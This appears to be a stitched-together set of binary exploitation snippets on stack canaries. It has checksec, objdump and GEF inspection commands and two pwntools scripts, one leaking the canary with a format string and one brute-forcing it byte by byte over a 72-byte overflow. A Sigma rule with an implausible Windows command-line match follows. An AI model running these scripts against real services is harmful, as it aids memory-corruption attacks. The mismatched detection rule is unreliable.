# Check for stack canary
checksec --file=./vuln

# Verify in disassembly (look for fs:0x28 on x86_64)
objdump -d ./vuln | grep -A2 "fs:0x28"

# GEF canary inspection
gef> canary

from pwn import *

context.binary = elf = ELF("./vuln")
p = process(elf.path)

# Leak canary via format string (offset varies)
p.sendline(b"%11$p")  # adjust offset for target
canary = int(p.recvline().strip(), 16)
log.success(f"Canary: {hex(canary)}")

# Verify: canary ends in \x00 on Linux
assert canary & 0xff == 0, "Invalid canary (should end in null byte)" 

from pwn import *

context.binary = elf = ELF("./vuln")

def try_byte(known: bytes, guess: int) -> bool:
    p = remote("localhost", 1337)
    payload = b"A" * 72 + known + bytes([guess])
    p.send(payload)
    try:
        p.recv(timeout=1)
        p.close()
        return True
    except EOFError:
        p.close()
        return False

canary = b""
for i in range(8):
    for byte in range(256):
        if try_byte(canary, byte):
            canary += bytes([byte])
            log.info(f"Canary byte {i}: {hex(byte)}")
            break

log.success(f"Full canary: {hex(u64(canary))}")

title: Bypassing Stack Canary Protection Detection
id: cbca82d8-ce57-4bee-bc48-5e351d36c591
status: experimental
description: Detects suspicious activity related to bypassing stack canary protection techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*bypassing*stack*"
  condition: selection
level: critical
tags:
  - attack.t1068
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures